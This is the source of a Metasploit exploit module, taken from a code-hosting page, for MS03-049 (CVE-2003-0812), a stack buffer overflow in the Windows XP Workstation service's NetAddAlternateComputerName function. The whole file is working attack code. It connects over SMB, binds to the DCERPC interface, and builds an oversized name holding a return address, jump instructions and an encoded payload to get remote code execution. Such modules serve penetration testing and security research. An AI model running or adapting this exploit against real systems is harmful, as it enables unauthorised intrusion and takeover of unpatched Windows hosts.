Path: blob/master/modules/exploits/windows/smb/ms03_049_netapi.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName18function using the Workstation service in Windows XP.19},20'Author' => [ 'hdm' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2003-0812' ],24[ 'OSVDB', '11461' ],25[ 'BID', '9011' ],26[ 'MSB', 'MS03-049' ],27],28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Privileged' => true,32'Payload' => {33'Space' => 1000,34'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'DefaultTarget' => 0,39'Targets' => [40[41'Windows XP SP0/SP1',42{43'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll44}45],46],47'DisclosureDate' => '2003-11-11',48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),59]60)61end6263def exploit64connect()65smb_login()6667handle = dcerpc_handle(68'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',69'ncacn_np', ["\\#{datastore['SMBPIPE']}"]70)7172print_status("Binding to #{handle} ...")73dcerpc_bind(handle)74print_status("Bound to #{handle} ...")7576print_status("Building the stub data...")7778name = rand_text_alphanumeric(5000)79name[3496, 4] = [target.ret].pack('V')80name[3492, 2] = "\xeb\x06"81name[3500, 5] = "\xe9" + [-3505].pack('V')82name[0, payload.encoded.length] = payload.encoded8384stub =85NDR.long(rand(0xffffffff)) +86NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +87NDR.long(rand(0xffffffff)) +88NDR.UnicodeConformantVaryingString(name) +89NDR.long(rand(0xffffffff)) +90NDR.UnicodeConformantVaryingString('') +91NDR.long(0) +92NDR.long(0)9394print_status("Calling the vulnerable function...")9596begin97dcerpc.call(0x1b, stub)98rescue Rex::Proto::DCERPC::Exceptions::NoResponse99rescue => e100if e.to_s !~ /STATUS_PIPE_DISCONNECTED/101raise e102end103end104105# Cleanup106handler107disconnect108end109end110111112